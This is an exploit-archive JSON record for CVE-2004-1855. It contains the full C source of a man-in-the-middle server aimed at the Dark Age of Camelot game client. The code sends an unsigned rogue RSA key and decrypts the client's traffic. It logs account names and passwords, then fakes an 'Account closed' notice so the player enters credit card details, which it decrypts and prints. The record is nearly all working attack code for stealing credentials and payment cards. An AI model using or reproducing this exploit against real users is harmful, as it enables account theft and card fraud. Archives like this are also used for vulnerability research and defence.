{"exploit":{"id":"EDB-23873","name":"Mythic Entertainment Dark Age of Camelot 1.6x - Encryption Key Signing","description":"Mythic Entertainment Dark Age of Camelot 1.6x - Encryption Key Signing","cves":["CVE-2004-1855"],"author":"Todd Chapman","published":"2004-03-23","platform":"multiple","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/23873","path":"exploits/multiple/remote/23873.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-23873.c","vulnerabilities":[{"id":"CVE-2004-1855","state":"PUBLISHED","title":null,"titleSource":null,"description":"Dark Age of Camelot before 1.68 live patch does not sign the RSA public key, which could allow remote malicious servers to gain sensitive information via a man-in-the-middle attack.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-1855","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-1855"},"updatedAt":"2024-08-08T01:07:49.014Z","retrievedAt":"2026-11-27T08:06:58.287Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-23873.png?v=2","url":"https://exploitbin.com/exploits/EDB-23873","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-23873/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-23873/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2004/https://www.securityfocus.com/bid/9960/info\n\nAn encryption key signing vulnerability has been reported to exist in Dark Age of Camelot. This issue is due to a design error in the application that carries out encryption without having the encryption key signed or verified by the affected server.\n\nThis issue may allow for an attacker to carry out man-in-the-middle attacks against a vulnerable system. Successful exploitation may allow an attacker to gain access to sensitive information transmitted between the client and the games server.\n\n#include <stdio.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <unistd.h>\n#include <signal.h>\n#include \"mycrypt.h\"\n\n#define SYMKEY_SIZE 256\n/*\n       Used in setup_crypt().\n       Set next line to 1 for 1.67/initial 1.68 client (dated 1/15/04).\n       Set it to 2 for 'fixed' client (current is dated 3/1/04)\n*/\n#define LOGIN_PROTOCOL_VERSION 1\n\nrsa_key key;\nprng_state prng;\nunsigned char exported_key_buffer[512];\nunsigned long exported_key_len;\n\nstruct daoc_packet_header {\n    unsigned char ESC1;\n    unsigned char ESC2;\n    unsigned short payload_size; // net byte order\n};\n\nstruct daoc_packet_payload {\n    unsigned short command_id;  // packet type in net byte order\n    unsigned char data;\n};\n\nstruct daoc_packet {\n    struct daoc_packet_header header;\n    struct daoc_packet_payload payload;\n};\n\nstruct daoc_socket_state {\n    int socket;\n    int sym_key_set;\n    unsigned char sym_sbox[256];\n    int bytes_read_total;\n    int bytes_read_payload;\n    int expected_payload_size;\n    struct daoc_packet_payload *payload;\n} client_sock_state;\n\ntypedef struct daoc_socket_state SOCKSTATE;\n\n#define my_ntohs(p) (p[0] << 8) | p[1]\n\nvoid bytes_out(unsigned char *data, int len)\n{\n    int linepos = 0;\n    char ascii[17];\n    ascii[16] = 0;\n    memset(ascii, '.', sizeof(ascii)-1);\n\n    while (len--) {\n        if (*data >= ' ' && *data <= '~')\n            ascii[linepos] = *data;\n\n        printf(\"%02X \", *data);\n        data++;\n        linepos = (linepos + 1) % 16;;\n\n        if (!linepos) {\n            printf(\" %s\\n\", ascii);\n            memset(ascii, '.', sizeof(ascii)-1);\n        }\n    }\n\n    if (!linepos)\n        return;\n\n    while (linepos) {\n        ascii[linepos] = ' ';\n        printf(\"   \");\n        linepos = (linepos + 1) % 16;;\n    }\n    printf(\" %s\\n\", ascii);\n}\n\nvoid write_str(unsigned char **d, const char *s)\n{\n    unsigned short size;\n    unsigned char *x = *d;\n\n    size = strlen(s);\n    x[0] = size >> 8;\n    x[1] = size & 0xff;\n    memcpy(&x[2], s, size);\n    *d += size + 2;\n}\n\nchar *dump_str(unsigned char **d)\n{\n    static char buff[256];\n    int size;\n    unsigned char *p;\n    p = *d;\n\n    size = my_ntohs(p);\n    memcpy(buff, p+2, size);\n    buff[size] = 0;\n    *d += size + 2;\n    return buff;\n}\n\nvoid print_usage(void)\n{\n    printf(\"Usage: mystic2 <port>\\n\");\n    printf(\"\\t<port> usually between 10500 and 10504 inclusive.\\n\");\n}\n\nint setup_crypt(void)\n{\n    int err;\n\n    if(register_prng(&yarrow_desc) != CRYPT_OK) {\n        printf(\"Could not register prng.\\n\");\n        return -1;\n    }\n    printf(\"prng registered...\\n\");\n\n    if ((err = rng_make_prng(128, find_prng(\"yarrow\"), &prng, NULL)) != CRYPT_OK)  {\n        printf(\"Could not make prng: %s\\n\", error_to_string(err));\n        return -1;\n    }\n\n    /* generate a 1536 bit RSA key.  This duplicates the exported key size\n       of Mythic's algorithm, but other sizes would work as well */\n    if ((err = rsa_make_key(&prng, find_prng(\"yarrow\"), 192, 65537, &key)) != CRYPT_OK) {\n        printf(\"Could not generate RSA key: %s\\n\", error_to_string(err));\n        return -1;\n    }\n    printf(\"RSA key generated...\\n\");\n\n    /* export the key starting at keybuff[10] so we can prepend the\n       fixed header the client expects */\n    exported_key_len = sizeof(exported_key_buffer);\n    if ((err = rsa_export(&exported_key_buffer[10], &exported_key_len, PK_PUBLIC, &key)) != CRYPT_OK) {\n        printf(\"Could not export RSA public key: %s\\n\", error_to_string(err));\n        return -1;\n    }\n    printf(\"RSA public key exported (%lu bytes)...\\n\", exported_key_len);\n\n    /* some sort of protocol version information proceeds the key when\n       we send it. If not correct, login.dll generates version mismatch\n\t       error message. */\n    *((unsigned long *)&exported_key_buffer[0]) = htonl(LOGIN_PROTOCOL_VERSION);\n    *((unsigned short *)&exported_key_buffer[4]) = htons(1);\n    /* add the size */\n    *((unsigned short *)&exported_key_buffer[6]) = htons(exported_key_len);\n    *((unsigned short *)&exported_key_buffer[8]) = htons(exported_key_len);\n\n    return 0;\n}\n\nvoid cleanup_crypt(void)\n{\n    /* this never gets called because we never cleanly exit, but\n       here it is for completeness */\n    rsa_free(&key);\n    unregister_prng(&yarrow_desc);\n}\n\nvoid symcrypt_in_place(unsigned char *buff, int len)\n/* This is mostly a copy of the libTomCrypt::rc4_read() */\n{\n    int x, y;\n    unsigned char *s, tmp, tmp_sym_sbox[SYMKEY_SIZE];;\n    int midpoint, pos;\n\n    /* restart the key stream generator on every crypt */\n    memcpy(tmp_sym_sbox, client_sock_state.sym_sbox, 256);\n\n    x = 0;\n    y = 0;\n    s = tmp_sym_sbox;\n    /* it is not standard RC4 practice to break a block in half, but packets\n     from mythic's client have a sequence number at the beginning which\n     would be easily guessable */\n    midpoint = len / 2;\n\n    for (pos=midpoint; pos<len; pos++) {\n        x = (x + 1) & 255;\n        y = (y + s[x]) & 255;\n        tmp = s[x]; s[x] = s[y]; s[y] = tmp;\n        tmp = (s[x] + s[y]) & 255;\n        y = (y + buff[pos]) & 255;  // this is not standard RC4 here\n        buff[pos] ^= s[tmp];\n    }\n    for (pos=0; pos<midpoint; pos++) {\n        x = (x + 1) & 255;\n        y = (y + s[x]) & 255;\n        tmp = s[x]; s[x] = s[y]; s[y] = tmp;\n        tmp = (s[x] + s[y]) & 255;\n        y = (y + buff[pos]) & 255;  // this is not standard RC4 here\n        buff[pos] ^= s[tmp];\n    }\n}\n\nvoid symdecrypt_in_place(unsigned char *buff, int len)\n/* This is mostly a copy of the libTomCrypt::rc4_read() */\n{\n    int x, y;\n    unsigned char *s, tmp, tmp_sym_sbox[SYMKEY_SIZE];;\n    int midpoint, pos;\n\n    /* restart the key stream generator on every crypt */\n    memcpy(tmp_sym_sbox, client_sock_state.sym_sbox, 256);\n\n    x = 0;\n    y = 0;\n    s = tmp_sym_sbox;\n    /* it is not standard RC4 practice to break a block in half, but packets\n     from mythic's client have a sequence number at the beginning which\n     would be easily guessable */\n    midpoint = len / 2;\n\n    for (pos=midpoint; pos<len; pos++) {\n        x = (x + 1) & 255;\n        y = (y + s[x]) & 255;\n        tmp = s[x]; s[x] = s[y]; s[y] = tmp;\n        tmp = (s[x] + s[y]) & 255;\n        buff[pos] ^= s[tmp];\n        y = (y + buff[pos]) & 255;  // this is not standard RC4 here\n    }\n    for (pos=0; pos<midpoint; pos++) {\n        x = (x + 1) & 255;\n        y = (y + s[x]) & 255;\n        tmp = s[x]; s[x] = s[y]; s[y] = tmp;\n        tmp = (s[x] + s[y]) & 255;\n        buff[pos] ^= s[tmp];\n        y = (y + buff[pos]) & 255;  // this is not standard RC4 here\n    }\n}\n\nint send_daoc_packet(int command_id, void *buff, int len)\n{\n    struct daoc_packet *mem;\n    int retval;\n    int payload_size;\n    int total_size;\n\n    payload_size = len + 2;  // includes command_id\n    total_size = payload_size + sizeof(struct daoc_packet_header);\n    mem = malloc(total_size);\n    mem->header.ESC1 = '\\x1b';\n    mem->header.ESC2 = '\\x1b';\n    mem->header.payload_size = htons(payload_size);\n    mem->payload.command_id = htons(command_id);\n    memcpy(&mem->payload.data, buff, len);\n\n    if (client_sock_state.sym_key_set)\n        symcrypt_in_place((unsigned char *)&mem->payload, payload_size);\n\n    retval = send(client_sock_state.socket, mem, total_size, 0);\n\n    free(mem);\n    return retval;\n}\n\nvoid setup_sbox_from_key(unsigned char *key, int keylen)\n/* code adapted from libTomCrypt rc4::rc4_ready() */\n{\n    int x, y;\n    int tmp;\n    for (x=0; x<256; x++)\n        client_sock_state.sym_sbox[x] = x;\n\n    for (x=y=0; x<256; x++)  {\n        y = (y + client_sock_state.sym_sbox[x] + key[x % keylen]) & 255;\n        tmp = client_sock_state.sym_sbox[x];\n        client_sock_state.sym_sbox[x] = client_sock_state.sym_sbox[y];\n        client_sock_state.sym_sbox[y] = tmp;\n    }\n\n    client_sock_state.sym_key_set = 1;\n\n//    printf(\"Client symmetric key:\\n\");  bytes_out(key, keylen);\n//    printf(\"Client SBOX:\\n\");bytes_out(client_sock_state.sym_sbox, sizeof(client_sock_state.sym_sbox));\n}\n\nvoid send_billinginfo_request(void)\n{\n    unsigned char packetbuff[4096], *p;\n    p = packetbuff;\n    *p++ = 0x4c;\n    *p++ = 0x01;\n    *p++ = 0x02;\n    write_str(&p, \"Account closed.\");\n    *p++ = 0x01;\n    *p++ = 0xff;\n    *p++ = 0x55;\n    write_str(&p, \"0.0.0.0\");\n    *p++ = 0x00;\n    *p++ = 0x00;\n    send_daoc_packet(0x00c8, packetbuff, p - packetbuff);\n    printf(\"Requesting user enter their billing info...\\n\");\n}\n\nvoid packet_client_authenticate(unsigned char* buff, int len)\n{\n    /* first 2 bytes are unknown */\n    buff += 2;\n    printf(\"Account authenticate request:\\n\");\n    printf(\"  Account Name: %s\\n\", dump_str(&buff));\n    printf(\"  Password: %s\\n\", dump_str(&buff));\n\n    send_billinginfo_request();\n}\n\nvoid packet_client_billinginfo(unsigned char* buff, int len)\n{\n    unsigned char rsa_out[1024];\n    unsigned char depad_out[1024];\n    unsigned char outbuff[4096];\n    unsigned long x, y;\n    int err;\n    int chunk_size;\n    int outpos = 0;\n\n    //bytes_out(buff, len);\n    /* first two bytes are unknown */\n    buff += 2; len -= 2;\n\n    /* key is made up of blocks which are padded then crypted.  They\n       come on the wire as 2 bytes size (net order) then data */\n    while (len > 0)  {\n        chunk_size = (buff[0] << 8) | buff[1];\n        buff += 2; len -= 2;\n\n        x = sizeof(rsa_out);\n        if ((err = rsa_exptmod(buff, chunk_size, rsa_out, &x, PK_PRIVATE, &key)) != CRYPT_OK) {\n            printf(\"rsa_exptmod failed: %s\\n\", error_to_string(err));\n            return;\n        }\n        y = sizeof(depad_out);\n        if ((err = rsa_depad(rsa_out, x, depad_out, &y)) != CRYPT_OK) {\n            printf(\"rsa_depad failed: %s\\n\", error_to_string(err));\n            return;\n        }\n\n        memcpy(&outbuff[outpos], depad_out, y);\n        outpos += y;\n\n        //printf(\"packet_client_billinginfo has %lu bytes\\n\", y);\n\n        buff += chunk_size; len -= chunk_size;\n    }\n\n    buff = outbuff;\n    printf(\"Billing Info:\\n\");\n    printf(\"  Account Name: %s\\n\", dump_str(&buff));\n    printf(\"  Password: %s\\n\", dump_str(&buff));\n    printf(\"  Cardholder's Name: %s\\n\", dump_str(&buff));\n    printf(\"  CreditCard Number: %s\\n\", dump_str(&buff));\n    printf(\"  Expiration Date: %s/\", dump_str(&buff)); printf(\"%s\\n\", dump_str(&buff));\n    printf(\"  Billing cycle: %s\\n\", dump_str(&buff));\n}\n\nvoid packet_client_setenckey(unsigned char* buff, int len)\n{\n    unsigned char rsa_out[4096];\n    unsigned char depad_out[4096];\n    unsigned char tmp_symkey[SYMKEY_SIZE+4];\n    unsigned long x, y;\n    int err;\n    int chunk_size;\n    int symkeysize;\n    int outpos = 0;\n\n    /* first two bytes are unknown */\n    buff += 2; len -= 2;\n\n    /* key is made up of blocks which are padded then crypted.  They\n       come on the wire as 2 bytes size (net order) then data */\n    while (len > 0)  {\n        chunk_size = (buff[0] << 8) | buff[1];\n        buff += 2; len -= 2;\n\n        x = sizeof(rsa_out);\n        if ((err = rsa_exptmod(buff, chunk_size, rsa_out, &x, PK_PRIVATE, &key)) != CRYPT_OK) {\n            printf(\"rsa_exptmod failed: %s\\n\", error_to_string(err));\n            return;\n        }\n        y = sizeof(depad_out);\n        if ((err = rsa_depad(rsa_out, x, depad_out, &y)) != CRYPT_OK) {\n            printf(\"rsa_depad failed: %s\\n\", error_to_string(err));\n            return;\n        }\n\n        memcpy(&tmp_symkey[outpos], depad_out, y);\n        outpos += y;\n\n        // printf(\"packet_client_setenckey has %lu bytes\\n\", y);\n\n        buff += chunk_size; len -= chunk_size;\n    }\n\n    /* first 4 bytes are WORD keysize twice (net order) */\n    symkeysize = my_ntohs(tmp_symkey); //(tmp_symkey[0] << 8) | tmp_symkey[1];\n    setup_sbox_from_key(&tmp_symkey[4], symkeysize);\n\n    printf(\"Client sent symmetric key (%d bytes)...\\n\", symkeysize);\n}\n\nvoid malloc_client_payload(void)\n{\n    if (client_sock_state.payload)\n        free(client_sock_state.payload);\n\n    client_sock_state.payload = (struct daoc_packet_payload *)\n        malloc(client_sock_state.expected_payload_size);\n}\n\nvoid process_recvd_packet(void)\n{\n    unsigned short command_id;\n    unsigned short payload_size;\n    unsigned char *data;\n\n    payload_size = client_sock_state.expected_payload_size;\n    data = &client_sock_state.payload->data;\n\n    if (client_sock_state.sym_key_set)\n    {\n        symdecrypt_in_place((unsigned char *)client_sock_state.payload, payload_size);\n        //bytes_out((unsigned char *)client_sock_state.payload, payload_size);\n    }\n\n    /* fixup the command_id to host order */\n    command_id = ntohs(client_sock_state.payload->command_id);\n    //printf(\"Packet in type 0x%04x is %d bytes\\n\", command_id, payload_size);\n\n    /* subtract sizeof command ID */\n    payload_size -= 2;\n\n    switch (command_id)\n    {\n    case 0x012c:\n        packet_client_authenticate(data, payload_size);\n        break;\n    case 0x0130:\n        packet_client_billinginfo(data, payload_size);\n        break;\n    case 0x014b:\n        packet_client_setenckey(data, payload_size);\n        break;\n    }\n\n    client_sock_state.bytes_read_total = 0;\n    client_sock_state.bytes_read_payload = 0;\n    client_sock_state.expected_payload_size = 0;\n    free(client_sock_state.payload);\n    client_sock_state.payload = NULL;\n}\n\nint recv_daoc_data(void)\n{\n    unsigned char sock_buffer[2048];\n    int buffer_pos;\n    int err;\n\n    err = recv(client_sock_state.socket, (void *)sock_buffer, sizeof(sock_buffer), 0);\n    //printf(\"recv=%d\\n\", err);\n    if (err <= 0)\n        return err;\n\n    for (buffer_pos=0; buffer_pos<err; buffer_pos++) {\n        client_sock_state.bytes_read_total++;\n\n        switch(client_sock_state.bytes_read_total)\n        {\n        case 1:  // esc1\n            client_sock_state.expected_payload_size = 0;\n            break;\n        case 2:  // esc2\n            break;\n        case 3:  // MSB of expected size\n            client_sock_state.expected_payload_size = sock_buffer[buffer_pos] << 8;\n            break;\n        case 4:  // LSB of expected size\n            client_sock_state.expected_payload_size |= sock_buffer[buffer_pos];\n            malloc_client_payload();\n            break;\n        default:\n            ((unsigned char *)client_sock_state.payload)[client_sock_state.bytes_read_payload] = sock_buffer[buffer_pos];\n            client_sock_state.bytes_read_payload++;\n            if (client_sock_state.bytes_read_payload == client_sock_state.expected_payload_size)\n                process_recvd_packet();\n            break;\n        }\n    }  /* while bytes left */\n\n    return err;\n}\n\nvoid handle_connection(int client_socket)\n{\n    memset(&client_sock_state, 0, sizeof(client_sock_state));\n    client_sock_state.socket = client_socket;\n\n    send_daoc_packet(0x0065, exported_key_buffer, exported_key_len + 10);\n    printf(\"RSA public key sent to client...\\n\");\n\n    for (;;)\n    {\n        if (recv_daoc_data() <= 0)\n            break;\n    }\n}\n\nvoid accept_connections(int server_socket)\n{\n    struct sockaddr_in clientaddr;\n    int clientaddr_len;\n\n    printf(\".Waiting for client connections.\\n\");\n    for (;;) {\n        clientaddr_len = sizeof(clientaddr);\n        int client_sock = accept(server_socket, (struct sockaddr*)&clientaddr, &clientaddr_len);\n        printf(\"Client connected!\\n\");\n        handle_connection(client_sock);\n        close(client_sock);\n        printf(\"Client closed\\n\");\n    }\n}\n\nvoid sigint(int signum)\n{\n    printf(\"SIGINT: cleaning up\\n\");\n    cleanup_crypt();\n    signal(signum, SIG_DFL);\n    raise(SIGQUIT);\n}\n\nint start_server_sock(int port)\n{\n    struct sockaddr_in serveraddr;\n    int opt = 1;\n\n    int retval = socket(PF_INET, SOCK_STREAM, 0);\n    if (retval < 0)\n        return -1;\n\n    serveraddr.sin_family = AF_INET;\n    serveraddr.sin_addr.s_addr = htonl(INADDR_ANY);\n    serveraddr.sin_port = htons(port);\n\n    if (setsockopt(retval, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)) < 0) {\n        close(retval);\n        return -1;\n    }\n\n    if (bind(retval, (struct sockaddr *)&serveraddr, sizeof(serveraddr))< 0) {\n        close(retval);\n        return -1;\n    }\n\n    if (listen(retval, 5) < 0) {\n        close(retval);\n        return -1;\n    }\n\n    return retval;\n}\n\nint main(int argc, char **argv)\n{\n    int server_socket;\n    int port;\n\n    if (argc != 2) {\n        print_usage();\n        return 0;\n    }\n\n    port = atoi(argv[1]);\n    if (!port) {\n        printf(\"Invalid port number %s\\n\", argv[1]);\n        print_usage();\n        return 0;\n    }\n\n    if (setup_crypt() < 0)\n        return 0;\n\n    signal(SIGINT, sigint);\n\n    server_socket = start_server_sock(port);\n    if (server_socket < 0)  {\n        printf(\"Could not create and bind listener socket\\n\");\n        cleanup_crypt();\n    }\n    else\n        accept_connections(server_socket);\n\n    return 0;\n}","sha256":"a467734661d94e7793cc21d5f1b383fe48798fd1d48b7ba6dbc6730b4ba4e3e6","bytes":17311,"fetchedAt":"2026-11-27T08:06:56.526Z","encoding":"utf-8 (display only; download retains original bytes)"}